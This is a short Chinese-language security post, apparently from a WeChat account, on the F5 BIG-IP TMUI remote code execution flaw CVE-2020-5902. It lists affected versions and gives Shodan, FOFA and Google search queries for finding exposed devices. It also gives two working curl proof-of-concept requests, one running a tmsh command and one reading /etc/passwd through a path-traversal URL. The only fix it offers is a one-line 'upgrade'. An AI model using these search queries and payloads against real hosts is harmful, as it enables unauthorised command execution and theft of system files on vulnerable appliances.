戳上面的蓝字关注我们哦！
01 漏洞介绍
—
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。近日，F5官方公布流量管理用户界面（TMUI）使用程序的特定页面中存在一处远程代码执行漏洞（CVE-2020-5902）
02 影响版本
—
`BIG-IP 15.x: 15.1.0/15.0.0``BIG-IP 14.x: 14.1.0 ~ 14.1.2``BIG-IP 13.x: 13.1.0 ~ 13.1.3``BIG-IP 12.x: 12.1.0 ~ 12.1.5``BIG-IP 11.x: 11.6.1 ~ 11.6.5`
03 漏洞复现
—
资产搜索语法
`shodan``http.favicon.hash:-335242539`` ``fofa``title="BIG-IP®- Redirect"`` ``google``intitle:"BIG-IP" inurl:"tmui"`
漏洞验证poc
`RCE:` `curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'`` ``Read File:` `curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'`
04 漏洞修复方案
—
升级到最新版本